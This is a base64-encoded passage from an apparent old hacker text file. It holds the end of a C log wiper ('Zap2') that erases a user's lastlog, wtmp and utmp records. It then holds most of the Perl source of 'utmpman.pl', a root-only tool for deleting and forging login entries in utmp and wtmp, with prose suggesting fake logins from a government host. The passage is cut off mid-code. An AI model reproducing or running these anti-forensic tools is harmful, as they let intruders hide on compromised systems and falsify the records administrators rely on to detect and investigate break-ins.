ICAgICAgICB9DQogDQogICAgfSBlbHNlIHByaW50ZigiJXM6ID9cbiIsd2hvKTsNCn0NCiANCm1h aW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFyICphcmd2W107DQp7DQogICAgaWYgKGFyZ2M9 PTIpIHsNCiAgICAgICAga2lsbF9sYXN0bG9nKGFyZ3ZbMV0pOw0KICAgICAgICBraWxsX3d0bXAo YXJndlsxXSk7DQogICAgICAgIGtpbGxfdXRtcChhcmd2WzFdKTsNCiAgICAgICAgcHJpbnRmKCJa YXAyIVxuIik7DQogICAgfSBlbHNlDQogICAgcHJpbnRmKCJFcnJvci5cbiIpOw0KfQ0KLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tIGN1dCBoZXJlDQogQW5vdGhlciBncmVhdCBwcm9ncmFtIGZv ciBjbGVhbmluZyB1dG1wLCB3dG1wLCBhbmQgY2hlY2tpbmcgcHJvY2Vzc2VzIGlzIHV0bXBtYW4u cGwNCkl0IHdpbGwgYWxzbyBsZXQgeW91IGluc2VydCBsaW5lcyBpbiB3dG1wLiAgU28gaWYgeW91 IG5lZWQgdG8gcGxheSB5b3UNCmNhbiBhZGQgY2xpbnRvbi53aGl0ZWhvdXNlLmdvdiBsb2dnaW5n IGludG8gcG9ydCB0dHlwMyBhbmQgc2hvdyBoZSBzdGF5ZWQgb24gdGhlIHN5c3RlbSBmb3IgYSBm ZXcgaG91cnMhDQogWW91IG11c3QgYmUgcm9vdCB0byBydW4gdGhlIHNjcmlwdCwgYW5kIHRoZXkg bmVlZCBwZXJsIDUuMDAzKyBvbiB0aGllciBzeXN0ZW0uICBBZnRlciBzdGFydGluZyB0aGUgc2Ny aXB0IGp1c3QgdHlwZSBoZWxwLg0KDQpIZXJlIGFyZSBzb21lIG9mIHRoZSBiYXNpYyBjb21tYW5k czoNCg0Kc3RhcnRzIGJ5IGxvYWRpbmcgd3RtcA0KDQpkZWxldGUgdXNlciB1c2VybmFtZQ0KZGVs ZXRlIGhvc3QgaG9zdGFubWUNCndyaXRlDQoNCnJlYWQgd3RtcA0KZGVsZXRlIHVzZXIgdXNlcm5h bWUNCmRlbGV0ZSBob3N0IGhvc3RuYW1lDQp3cml0ZQ0KDQpkbyBoZWxwIGZvciB0aGUgcmVzdCAu Li4gdGhlIGJlc3QgdXRtcCx3dG1wIGVkaXRvciBhcm91bmQhDQoNCi0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tc3RhcnQgb2YgdXRtcG1hbi5wbA0KIyEvdXNyL2Jpbi9wZXJsIC13DQojDQojIFZhcmlh YmxlIGRlZmluZXMuDQpteSgkdXRtcF9sb2NhdGlvbikgPSAiL3Zhci9ydW4vdXRtcCI7DQpteSgk d3RtcF9sb2NhdGlvbikgPSAiL3Zhci9sb2cvd3RtcCI7DQpteSgkc2hlbGxzX2xvY2F0aW9uKSA9 ICIvZXRjL3NoZWxscyI7DQpteSgkdHR5YmFzZSkgPSAidHR5IjsNCm15KCR0dHlyYW5nZSkgPSAi cHFycyI7ICAgICAgICAgICAgICAgICAjIFRUWXJhbmdlIHN0YW5kYXJkIG9uIG1vc3QgbGludXgg c3lzdGVtcy4NCm15KCR0dHlwb3J0cykgPSAiMDEyMzQ1NjU3Njg5YWJjZmVmIjsgICAjIFRUWXBv cnRzIHN0YW5kYXJkIG9uIG1vc3QgbGludXggc3lzdGVtcy4NCg0KIyBHbG9iYWwgaW5pdGlhbGl6 YXRpb25zLg0KbXkoJGFjdGl2ZV9maWxlKSA9ICIiOw0KbXkoJWVudHJpZXMpID0ge307DQpteShA Y21kbGluZSkgPSAoKTsNCm15KEBzaGVsbHMpID0gKCk7DQoNCiMgRGlzcGxheSBiYW5uZXIuDQpw cmludCAiXG51dG1wIE1hbmFnZXIgdjAuOFxuXG4iOw0KDQojIEFjY2VzcyBjaGVjay4NCmRpZSgi dXRtcG1hbiA6OiBZb3UgbXVzdCBiZSByb290IHRvIHJ1biB0aGlzIGFwcGxpY2F0aW9uIVxuIikg dW5sZXNzICgkPiA9PSAwKTsNCg0KIyBSZWFkIGluIHZhbGlkIHNoZWxscy4NCmlmIChkZWZpbmVk KCRzaGVsbHNfbG9jYXRpb24pKSB7DQogIG9wZW4oU0hFTExGSUxFLCAiPCRzaGVsbHNfbG9jYXRp b24iKTsNCiAgQHNoZWxscyA9IDxTSEVMTEZJTEU+Ow0KICBjbG9zZShTSEVMTEZJTEUpOw0KfQ0K IyBQcm9jZXNzICJiYXNlbmFtZSIgb2YgZWFjaCBzaGVsbC4NCkBzaGVsbHMgPSBtYXAoIHsgLyhb XlwvXG5dKylcbiokLzsgJDE7IH0gQHNoZWxscyk7DQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICANCnByaW50IHB1c2goQHNoZWxscykgLiAiIHZhbGlkIHNoZWxscyBpbiAkc2hlbGxz X2xvY2F0aW9uOiBAc2hlbGxzXG4iIGlmIChkZWZpbmVkKEBzaGVsbHMpKTsNCnJlYWRmaWxlKCIk dXRtcF9sb2NhdGlvbiIpOw0KcHJpbnQoIlxudXRtcG1hbjogJGFjdGl2ZV9maWxlPiAiKTsNCndo aWxlICg8U1RESU4+KSB7DQogIHByb2Nlc3NfY21kKHNwbGl0KTsNCiAgcHJpbnQoIlxudXRtcG1h bjogJGFjdGl2ZV9maWxlPiAiKTsNCn0NCg0Kc3ViIHByb2Nlc3NfY21kIHsNCiAgcmV0dXJuIGlm ICghZGVmaW5lZChAXykpOw0KICBteShAbGluZSkgPSBtYXAgeyBsYygkXykgfSBAXzsNCiAgDQog ICRfID0gc2hpZnQoQGxpbmUpOw0KICBTV0lUQ0g6IHsNCiAgICAgICAgL15jaGVjayQvICAgICAm JiBkbyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICBjaGVja19mdW5jKEBsaW5lKTsNCiAg ICAgICAgICAgICAgICAgICAgICAgICAgIGxhc3QgU1dJVENIOw0KICAgICAgICAgICAgICAgICAg ICAgICAgIH07DQoNCiAgICAgICAgL15kZWxldGUkLyAgICAmJiBkbyB7DQogICAgICAgICAgICAg ICAgICAgICAgICAgICBkZWxfZnVuYyhAbGluZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAg ICBsYXN0IFNXSVRDSDsNCiAgICAgICAgICAgICAgICAgICAgICAgICB9OyAgDQogICAgICAgICAg ICAgICAgICAgICAgICAgDQogICAgICAgIC9eaGVscCQvICAgICAgJiYgZG8gew0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgaGVscF9mdW5jKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAg ICBsYXN0IFNXSVRDSDsgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgfTsNCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIC9eaW5zZXJ0JC8g ICAgJiYgZG8gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5zX2Z1bmMoQGxpbmUpOw0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgbGFzdCBTV0lUQ0g7DQogICAgICAgICAgICAgICAg ICAgICAgICAgfTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAg ICAgICAvXmxpc3QkLyAgICAgICYmIGRvIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGxp c3RfZnVuYyhAbGluZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICBsYXN0IFNXSVRDSDsN CiAgICAgICAgICAgICAgICAgICAgICAgICB9Ow0KDQogICAgICAgIC9ecmVhZCQvICAgICAgJiYg ZG8gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVhZF9mdW5jKEBsaW5lKTsNCiAgICAg ICAgICAgICAgICAgICAgICAgICAgIGxhc3QgU1dJVENIOw0KICAgICAgICAgICAgICAgICAgICAg ICAgIH07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIC9e d3JpdGUkLyAgICAgJiYgZG8gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgd3JpdGVfZnVu YyhAbGluZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICBsYXN0IFNXSVRDSDsNCiAgICAg ICAgICAgICAgICAgICAgICAgICB9OyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIC9ecXVpdHxleGl0JC8g JiYgZXhpdCgwKTsNCiAgICAgICAgDQogICAgICAgICMgREVGQVVMVC4gDQogICAgICAgIHByaW50 ICgiSW52YWxpZCBjb21tYW5kLlxuIik7ICAgICAgIA0KICB9DQp9DQoNCg0KIyBIRUxQDQoNCnN1 YiBoZWxwX2Z1bmMgew0KICBwcmludCA8PCAiRU9NIjsNCg0KdXRtcE1hbmFnZXIgSGVscA0KLS0t LS0tLS0tLS0tLS0tLQ0KDQpOb3RlOiAtIDxuPiBpcyBhbiBhcmd1bWVudC4NCiAgICAgIC0gW2lk PV0gaXMgYSB0b2tlbiB3aGljaCBleHBlY3RzIGEgdmFsdWUgYXMgcGFydCBvZiBjb21tYW5kDQog ICAgICAgIChpZSwgaW5zZXJ0IGlkPXA1IHVzZXI9cm9vdCAxMS8yMy85NikuIFNlZSB0aGUgaW5z ZXJ0IGNvbW1hbmQuDQogICAgICAtIEEgbGluZSBpcyB0aGUgZnVsbCBuYW1lIHRvIHRoZSB0dHkg cG9ydCwgaWUgdHR5cDAuDQogICAgICAtIEFuIGlkIGlzIHRoZSAqdW5pcXVlKiByZXByZXNlbnRh dGlvbiBvZiB0aGUgcG9ydA0KICAgICAgICAod2l0aG91dCB0aGUgdHR5LCBldGMpLCBpZSAicDAi IChmb3IgdHR5cDApLg0KDQogIGNoZWNrDQogICAgLSBQZXJmb3JtIHVzZXIgY29uc2lzdGFuY3kg Y2hlY2suIFVzZSB0aGlzIHRvIG1ha2Ugc3VyZSB0aGF0IHRoZSBkYXRhIGluDQogICAgICB1dG1w IGFncmVlcyB3aXRoIHdobyBpcyBhY3R1YWxseSBvbiB0aGUgbWFjaGluZS4gVGhpcyBpcyB1c2Vm dWwgaW4NCiAgICAgIGRldGVybWluaW5nIGlmIGEgdXNlciBpcyBvbmxpbmUgd2l0aCBoaWRkZW4g cG9ydHMsIHJ1bm5pbmcgbm9odXAnZA0KICAgICAgcHJvY2Vzc2VzLCBvciBydW5uaW5nIGlTY3Jl ZW4uDQoNCiAgZGVsZXRlIDx4Pi08eT4NCiAgICAtIERlbGV0ZSBlbnRyaWVzICN4IHRvICN5Lg0K DQogIGRlbGV0ZSBob3N0IDxob3N0Pg0KICAgIC0gRGVsZXRlICphbGwqIGVudHJpZXMgd2hpY2gg bWF0Y2ggdGhlIHN1YnN0cmluZyA8aG9zdD4uDQoNCiAgZGVsZXRlIGxpbmV8aWQgPGxpbmV8aWQ+ DQogICAgLSBEZWxldGUgZW50cnkgY29udGFpbmluZyA8bGluZT4gb3IgPGlkPi4NCg0KICBpbnNl cnQge2lkPXxsaW5lPX0gW3R5cGU9XSBbdXNlcj1dIFtob3N0PV0gW0Nvbm5UaW1lXSB7TG9nb2Zm VGltZX0NCiAgICAtIEluc2VydCBhbiBlbnRyeSBpbnRvIHV0bXAvd3RtcCBmaWxlcyBzcGVjaWZ5 aW5nIGFueSBjb21iaW5hdGlvbg0KICAgICAgb2YgaWQvbGluZSwgdHlwZSwgdXNlcm5hbWUsIGhv c3QsIGNvbm5lY3Rpb24gdGltZSwgYW5kIGxvZ29mZiB0aW1lLg0KICAgICAgKExvZ29mZlRpbWUg b25seSB2YWxpZCBmb3IgV1RNUCBmaWxlcy4pDQoNCiAgbGlzdCBob3N0IDxob3N0Pg0KICAgIC0g TGlzdCBhbGwgZW50cmllcyBtYXRjaGluZyB0aGUgc3Vic3RyaW5nIDxob3N0Pi4NCg0KICBsaXN0 IGxpbmV8aWQgPGxpbmV8aWQ+DQogICAgLSBMaXN0IGFsbCBlbnRyaWVzIG1hdGNoaW5nIDxsaW5l PiBvciA8aWQ+Lg0KDQogIHJlYWQgdXRtcHx3dG1wfDxmaWxlbmFtZT4NCiAgICAtIFJlYWQgZW50 cmllcyBmcm9tIGVpdGhlciBkZWZhdWx0IHd0bXAsIGRlZmF1bHQgdXRtcCwgb3IgYW4gYXJiaXRy YXJ5DQogICAgICBmaWxlbmFtZS4gTm90ZTogYXJiaXRyYXJ5IGZpbGVuYW1lcyBNVVNUIHN0YXJ0 IHdpdGggZWl0aGVyICJ1dG1wIiBvcg0KICAgICAgInd0bXAiIHRvIGJlIHVzZWQgd2l0aCB0aGlz IGVkaXRvci4gUmVuYW1lIGZpbGVzICpvdXRzaWRlKiBvZiB0aGlzDQogICAgICBlZGl0b3IgaWYg bmVjZXNzYXJ5LiBJZiByZWFkIGlzIGV4ZWN1dGVkIHdpdGhvdXQgYW55IGFyZ3VtZW50cywgaXQN CiAgICAgIHJlcmVhZHMgdGhlIGxhc3QgZ2l2ZW4gZmlsZW5hbWUsIHdoaWNoIGlzIGRpc3BsYXll ZCBvbiB0aGUgcHJvbXB0Lg0KDQogIHdyaXRlIHtmaWxlbmFtZX0NCiAgICAtIFdyaXRlIGVudHJp ZXMgdG8gZmlsZSB7ZmlsZW5hbWV9LiBJZiB3cml0ZSBpcyBleGVjdXRlZCB3aXRob3V0IGFueQ0K ICAgICAgYXJndW1lbnRzLCB0aGVuIGVudHJpZXMgd2lsbCBiZSB3cml0dGVuIHRvIHRoZSBsYXN0 IGdpdmVuIGZpbGVuYW1lLA0KICAgICAgd2hpY2ggaXMgZGlzcGxheWVkIG9uIHRoZSBwcm9tcHQu DQoNCkVPTQ0KfQ0KDQojIERFTEVURQ0KDQpzdWIgZGVsX2Z1bmMgew0KICBteShAcGFyYW1zKSA9 IEBfOw0KDQogIGlmICghcHVzaChAXykpIHsNCiAgICBwcmludCgiZGVsZXRlIDo6IE5vdCBlbm91 Z2ggcGFyYW1ldGVycy4gU2VlIFwiaGVscFwiIGZvciBzeW50YXguXG4iKTsNCiAgICByZXR1cm4g dW5kZWY7DQogIH0gZWxzaWYgKCRwYXJhbXNbMF0gPX4gL2hvc3R8dXNlcnxpZHxsaW5lLykgew0K ICAgIGRlbF9ieV9kYXRhKEBfKTsNCiAgfSBlbHNpZiAoJHBhcmFtc1swXSA9fiBtL1xkKi1cZCt8 XGQrLVxkKi8pIHsNCiAgICBkZWxfYnlfcmFuZ2UoJHBhcmFtc1swXSk7DQogIH0gZWxzaWYgKCRw YXJhbXNbMF0gPX4gbS9eKFxkKykkLykgew0KICAgIGRlbF9ieV9yYW5nZSgiJDEtJDEiKTsNCiAg fQ0KICANCiAgIyBSZW51bWJlciBsaXN0IGFmdGVyIGRlbGV0ZSBvcGVyYXRpb24uDQogIHJlc3lu YygpOw0KfQ0KDQoNCnN1YiBkZWxfYnlfcmFuZ2Ugew0KICBteSgkcmFuZ2UpPXNoaWZ0Ow0KICAk cmFuZ2UgPX4gbS8oXGQrKSotKFxkKykqLzsNCiAgbXkoJGxvLCAkaGksICRjb3VudCk9KCQxLCAk MiwgMCk7DQogIA0KICAkbG8gPSAwIGlmICghZGVmaW5lZCgkbG8pKTsNCiAgJGhpID0gc2NhbGFy KGtleXMoJWVudHJpZXMpKSBpZiAoIWRlZmluZWQoJGhpKSk7DQogIA0KICBmb3JlYWNoIChzb3J0 KCB7ICRhIDw9PiAkYiB9IGtleXMoJWVudHJpZXMpKSkgew0KICAgIGlmICgoJF8gPj0gJGxvKSAm JiAoJF8gPD0gJGhpKSkgew0KICAgICAgZGVsZXRlKCRlbnRyaWVzeyRffSk7DQogICAgICAkY291 bnQrKzsNCiAgICB9DQogIH0NCiAgcHJpbnQgIiRjb3VudCBlbnRyaWVzIGRlbGV0ZWQuXG4iOw0K fSAgICAgICAgICAgICAgIA0KDQoNCnN1YiBkZWxfYnlfZGF0YSB7DQogIG15KCRvcCwgJGRhdGEp ID0gQF87DQogIG15KCRjb3VudCkgPSAwOw0KDQogIGlmICgobGVuZ3RoKCRkYXRhKSA8IDUpICYm ICgkb3AgZXEgImhvc3QiKSkgew0KICAgIHByaW50ICJNdXN0IHNwZWNpZnkgYXQgbGVhc3QgNSBj aGFyYWN0ZXJzIGZvciBkZWxldGUgaG9zdG1hc2suXG4iOw0KICAgIHJldHVybiB1bmRlZjsNCiAg fSBlbHNpZiAoKChsZW5ndGgoJGRhdGEpID4gNCkgJiYgKCRvcCBlcSAiaWQiKSl8fA0KICAgICAg ICAgICAoKGxlbmd0aCgkZGF0YSkgPiAxMSkgJiYgKCRvcCBlcSAibGluZSIpKSkgew0KICAgIHBy aW50ICJJbnZhbGlkICRvcCBzcGVjaWZpZWQuXG4iOw0KICAgIHJldHVybiB1bmRlZjsNCiAgfQ0K ICAjIE5vdGU6IElmIHdlIGFyZSBkZWxldGluZyBieSB1c2VyLCB0aGVuIHVzZXIgbXVzdCBtYXRj aCwgKmV4YWN0bHkqIQ0KICAkZGF0YSA9ICJeIiAuIHBhY2soImE4IiwgJGRhdGEpIC4gIlwkIiBp ZiAoJG9wIGVxICJ1c2VyIik7DQogIGZvcmVhY2ggKHNvcnQoIHsgJGEgPD0+ICRiIH0ga2V5cygl ZW50cmllcykpKSB7DQogICAgaWYgKCV7JGVudHJpZXN7JF99fS0+eyRvcH0gPX4gbS8kZGF0YS9p KSB7DQogICAgICBkZWxldGUoJGVudHJpZXN7JF99KTsNCiAgICAgICsrJGNvdW50Ow0KICAgIH0N CiAgfQ0KICBpZiAoISRjb3VudCkgew0KICAgIHByaW50ICJObyAkb3AgZW50cmllcyBtYXRjaGlu ZyAkZGF0YS5cbiI7DQogIH0gZWxzZSB7DQogICAgcHJpbnQgIiRjb3VudCBlbnRyaWVzIGRlbGV0 ZWQuXG4iOw0KICB9DQp9DQoNCg0KIyBJTlNFUlQNCg0KIyBEYXRlMSBUaW1lMSA9IERhdGVUaW1l MSA9PiBtbS9kZC9bY2NdeXlbOmhoOm1tWzpzc11dDQojIERhdGUyIFRpbWUyID0gRGF0ZVRpbWUy ID0+IChzZWUgYWJvdmUpDQojIHVzZXI9PHVzZXJuYW1lPg0KIyBob3N0PTxob3N0bmFtZT4NCiMg aWQ9PGlkPiB8IGxpbmU9PGxpbmU+DQojDQojIHV0bXA6DQojIGluc2VydCB7aWQ9fGxpbmU9fSBb dHlwZT1dIFt1c2VyPV0gW2hvc3Q9XSBbRGF0ZVRpbWVdDQojIHd0bXA6DQojIGluc2VydCB7aWQ9 fGxpbmU9fSBbdXNlcj1dIFtob3N0PV0gW0RhdGVUaW1lMV0ge0RhdGVUaW1lMn0NCg0Kc3ViIGlu c19mdW5jIHsNCiAgbXkoJWNtZG9wdCk9e307DQogIG15KCRkYXRldGltZTEsICRkYXRldGltZTIs ICRnbWRhdGUsICRnbWRhdGUyKTsNCg0KICAjIEdldCByYW5kb20gcGlkIG91dCBvZiB0aGUgd2F5 Lg0KICAkY21kb3B0eyJwaWQifSA9IGludChyYW5kKDMyNjU2KSsxMDApOw0KICAkY21kb3B0eyJh ZGRyIn0gPSBwYWNrKCJhNCIsICIiKTsNCg0KICAjIEdldCBjb21tYW5kIG9wdGlvbnMuDQogIGZv cmVhY2ggKEBfKSB7DQogICAgaWYgKC89Lykgew0KICAgICAgbG9jYWwoJGtleSwgJHZhbHVlKT1z cGxpdCgvPS8pOw0KICAgICAgJGNtZG9wdHska2V5fSA9ICR2YWx1ZTsNCiAgICB9IGVsc2Ugew0K ICAgICAgaWYgKCFkZWZpbmVkKCRkYXRldGltZTEpKSB7DQogICAgICAgICRkYXRldGltZTEgPSAk XzsNCiAgICAgICAgbmV4dDsNCiAgICAgIH0NCiAgICAgIGlmICghZGVmaW5lZCgkZGF0ZXRpbWUy KSkgew0KICAgICAgICAkZGF0ZXRpbWUyID0gJF8gOw0KICAgICAgICBuZXh0Ow0KICAgICAgfQ0K ICAgICAgcHJpbnQgImluc2VydCA6OiBJbnZhbGlkIG9wdGlvbnMgc3BlY2lmaWVkLiBQbGVhc2Ug c2VlIFwiaGVscFwiIGZvciBzeW50YXguXG4iOw0KICAgICAgcmV0dXJuIHVuZGVmOw0KICAgIH0N CiAgfQ0KDQogICMgQ2hlY2sgZm9yIGFuIGlsbGVnYWwgcGFpciBvciBpbGxlZ2FsIG9wdGlvbi4N CiAgZm9yZWFjaCAoa2V5cyglY21kb3B0KSkgew0KICAgIGlmICghKC9eaG9zdHxpZHxsaW5lfHR5 cGV8dXNlcnxhZGRyJC8pKSB7DQogICAgICBwcmludCAiaW5zZXJ0IDo6IEludmFsaWQgb3B0aW9u cyBzcGVjaWZpZWQuIFBsZWFzZSBzZWUgXCJoZWxwXCIgZm9yIHN5bnRheC5cbiI7DQogICAgICBy ZXR1cm4gdW5kZWY7DQogICAgfQ0KICAgIGlmICgoJF8gZXEgImxhc3QiKSAmJiAoJGFjdGl2ZV9m aWxlICF+ICBtIS8qdXRtcFteL10qJCFpKSkgew0KICAgICAgcHJpbnQgImluc2VydCA6OiBMQVNU IG9wdGlvbiBvbmx5IHZhbGlkIGZvciB1dG1wIGZpbGVzLlxuIjsNCiAgICAgIHJldHVybiB1bmRl ZjsNCiAgICB9ICAgICANCiAgfQ0KDQogICMgR2V0IGRhdGUgaW4gc2Vjb25kcyBzaW5jZSAxOTcw Lg0KICAkZ21kYXRlID0gU2Vjc1NpbmNlMTk3MCgkZGF0ZXRpbWUxKTsNCg0KICAjIEdldCBlbmRp bmcgZGF0ZSBpbiBzZWNvbmRzIHNpbmNlIDE5NzAuDQogICRnbWRhdGUyID0gU2Vjc1NpbmNlMTk3 MCgkZGF0ZXRpbWUyKSBpZiAoZGVmaW5lZCgkZGF0ZXRpbWUyKSk7DQoNCiAgaWYgKCFkZWZpbmVk KCRnbWRhdGUpIHx8ICghZGVmaW5lZCgkZ21kYXRlMikgJiYgZGVmaW5lZCgkZGF0ZXRpbWUyKSkp IHsNCiAgICBwcmludCAiaW5zZXJ0IDo6IEludmFsaWQgZGF0ZSBzcGVjaWZpZWQuXG4iOw0KICAg IHJldHVybiB1bmRlZjsNCiAgfQ0KDQogIGlmIChkZWZpbmVkKCRnbWRhdGUyKSkgew0KICAgIGlm ICgkZ21kYXRlMiA8ICRnbWRhdGUpIHsNCiAgICAgIHByaW50ICJpbnNlcnQgOjogRmlyc3QgZGF0 ZS90aW1lIG11c3QgYmUgKmxhdGVyKiB0aGFuIHNlY29uZCBkYXRlL3RpbWUuXG4iOw0KICAgICAg cmV0dXJuIHVuZGVmOw0KICAgIH0NCiAgfQ0KDQogIGlmIChkZWZpbmVkKCRjbWRvcHR7ImlkIn0p ICYmIGRlZmluZWQoJGNtZG9wdHsibGluZSJ9KSkgew0KICAgIHByaW50ICJpbnNlcnQgOjogSW5z ZXJ0IGJ5IExJTkUgb3IgSUQgb25seS4gUGxlYXNlIGRvIG5vdCBzcGVjaWZ5IGJvdGguXG4iOw0K ICAgIHJldHVybiB1bmRlZjsNCiAgfQ0KDQogIG15KCRvcCk7DQoNCiAgaWYgKCFkZWZpbmVkKCRj bWRvcHR7ImlkIn0pKSB7DQogICAgJGNtZG9wdHsiaWQifSA9ICRjbWRvcHR7ImxpbmUifTsNCiAg ICAkb3AgPSAibGluZSI7DQogICAgaWYgKCEoJGNtZG9wdHsiaWQifSA9fiBzL14kdHR5YmFzZS8v KSkgeyANCiAgICAgIHByaW50ICJpbnNlcnQgOjogSW52YWxpZCBsaW5lIHNwZWNpZmllZC5cbiI7 IA0KICAgICAgcmV0dXJuIHVuZGVmOyANCiAgICB9DQogIH0gZWxzZSB7DQogICAgJGNtZG9wdHsi bGluZSJ9ID0gJHR0eWJhc2UgLiAkY21kb3B0eyJpZCJ9Ow0KICAgICRvcCA9ICJpZCI7DQogIH0g DQoNCiAgaWYgKCEoZGVmaW5lZCgkY21kb3B0eyJsaW5lIn0pIHx8IGRlZmluZWQoJGNtZG9wdHsi aWQifSkpKSB7DQogICAgcHJpbnQgImluc2VydCA6OiBOZWl0aGVyIExJTkUgbm9yIElEIHZhbHVl IGZvdW5kLiBTZWUgXCJoZWxwXCIgZm9yIHN5bnRheC5cbiI7DQogICAgcmV0dXJuIHVuZGVmOw0K ICB9DQogICAgDQogIG15KCRzZWFyY2hkYXRhKSA9ICgkYWN0aXZlX2ZpbGUgPX4gbSEvKnV0bXBb Xi9dKiQhaSkgPyAgDQogICAgKHBhY2soKCRvcCBlcSAibGluZSIpID8gImExMiIgOiAiYTQiLCAk Y21kb3B0eyRvcH0pKTokY21kb3B0eyRvcH07DQogIG15KCRlcG9zMSwgJG5wb3MxLCAkZXBvczIs ICRucG9zMikgPSAoKTsNCiAgbXkoJG9sZHBvcywgJGNvdW50KT0oIiIsIDApOw0KDQogIGZvcmVh Y2ggKHNvcnQoIHsgJGEgPD0+ICRiIH0ga2V5cyglZW50cmllcykpKSB7DQogICAgaWYgKCRhY3Rp dmVfZmlsZSA9fiBtIS8qdXRtcFteL10qJCFpKSB7DQogICAgICAjIEhhbmRsZSB1dG1wIGluc2Vy dGlvbiBieSBsaW5lIGluc2VydGlvbi4NCiAgICAgIGlmICgleyRlbnRyaWVzeyRffX0tPnskb3B9 IGVxICRzZWFyY2hkYXRhKSB7DQogICAgICAgIHByaW50ZiAoImluc2VydCA6OiAkb3AgJHNlYXJj aGRhdGEgYWxyZWFkeSBleGlzdHMgYXQgcG9zaXRpb24gJF9cbiIpOw0KICAgICAgICAjIFRoaXMg bmVlZHMgdG8gY2hlY2sgZXZlcnkgb3B0aW9uIGluICVjbWRvcHQgZm9yIGRlZmluZWQgb3IgbnVs bC4NCiAgICAgICAgJGNvdW50ID0gMDsNCiAgICAgICAgZm9yZWFjaCAocXcodXNlciBob3N0IHRp bWUpKSB7DQogICAgICAgICAgaWYgKGRlZmluZWQoJGNtZG9wdHskX30pKSB7DQogICAgICAgICAg ICAkY291bnQrKyBpZiAoJGNtZG9wdHskX30gbmUgIiIpOw0KICAgICAgICAgIH0NCiAgICAgICAg fQ0KICAgICAgICBpZiAoISRjb3VudCkgew0KICAgICAgICAgIHByaW50ZiAoImluc2VydCA6OiBO byBvdGhlciBkYXRhIHNwZWNpZmllZC4gRW50cnkgdW5jaGFuZ2VkLlxuIik7DQogICAgICAgICAg cmV0dXJuIHVuZGVmOw0KICAgICAgICB9DQogICAgICAgIGxhc3Q7DQogICAgICB9DQogICAgfSBl bHNlIHsNCiAgICAgICMgSGFuZGxlIHd0bXAgaW5zZXJ0aW9uIGJ5IHRpbWUgcG9zaXRpb24uIChN ZXNzeSkNCiAgICAgICRlcG9zMSA9ICRvbGRwb3MgaWYgKGRlZmluZWQoJG5wb3MxKSAmJiAhZGVm aW5lZCgkZXBvczEpKTsNCiAgICAgICRucG9zMSA9ICRfIGlmICgleyRlbnRyaWVzeyRffX0tPnsi dGltZSJ9ID4gJGdtZGF0ZSk7DQogICAgICBsYXN0IGlmICghZGVmaW5lZCgkZ21kYXRlMikgJiYg ZGVmaW5lZCgkZXBvczEpKTsNCiAgICAgICRlcG9zMiA9ICRvbGRwb3MgaWYgKGRlZmluZWQoJG5w b3MyKSk7IA0KICAgICAgJG5wb3MyID0gJF8gaWYgKCV7JGVudHJpZXN7JF99fS0+eyJ0aW1lIn0g PiAkZ210aW1lMik7DQogICAgICBsYXN0IGlmIChkZWZpbmVkKCRlcG9zMikpOw0KICAgIH0NCiAg ICAkb2xkcG9zID0gJF87DQogIH0NCg0KICAjIFNldCBhbnkgdW5zcGVjaWZpZWQgZGVmYXVsdHMu DQogICRjbWRvcHR7InVzZXIifSA9IHBhY2soImE4IiwgIiIpICBpZiAhZGVmaW5lZCgkY21kb3B0 eyJ1c2VyIn0pOw0KICAkY21kb3B0eyJob3N0In0gPSBwYWNrKCJhMTYiLCAiIikgaWYgIWRlZmlu ZWQoJGNtZG9wdHsiaG9zdCJ9KTsNCiAgJGNtZG9wdHsidHlwZSJ9ID0gNyAgICAgICAgICAgICAg IGlmICFkZWZpbmVkKCRjbWRvcHR7InR5cGUifSk7DQoNCiAgIyBEZXRlcm1pbmUgZW5kIG9mIGxp c3QgaW5zZXJ0aW9uIHBvc2l0aW9ucy4gKElFLCBkYXRlcyBlbnRlcmVkIGFyZSBhZnRlcg0KICAj IGRhdGVzIGluIHd0bXAgZmlsZSBvciBsaW5lL2lkIG5vdCBmb3VuZCBpbiB1dG1wIGZpbGUuDQog ICRlcG9zMSA9IChzY2FsYXIoa2V5cyglZW50cmllcykpICsgMSkgaWYgKCFkZWZpbmVkKCRucG9z MSkpOw0KICBpZiAoZGVmaW5lZCgkZGF0ZXRpbWUyKSkgew0KICAgICRlcG9zMiA9IChzY2FsYXIo a2V5cyglZW50cmllcykpICsgMSkgaWYgKCFkZWZpbmVkKCRucG9zMikpOw0KICAgICsrJGVwb3My IGlmIChkZWZpbmVkKCRnbXRpbWUyKSAmJiAhZGVmaW5lZCgkbnBvczEpKTsNCiAgfQ0KDQogICMg UGFyc2UgaW5zZXJ0IGRhdGEgYW5kIGluc2VydCBlbnRyeS4NCiAgJGVwb3MxID0gc3ByaW50Zigi JTcuM2YiLCAoJG5wb3MxIC0gJGVwb3MxKS8yKSBpZiAoZGVmaW5lZCgkbnBvczEpKTsNCiAgJGVw b3MyID0gc3ByaW50ZigiJTcuM2YiLCAoJG5wb3MyIC0gJGVwb3MyKS8yKQ0KICAgIGlmIChkZWZp bmVkKCRucG9zMikgJiYgZGVmaW5lZCgkZ21kYXRlMikpOw0KDQogICMgSW5zZXJ0IGZpcnN0IGVu 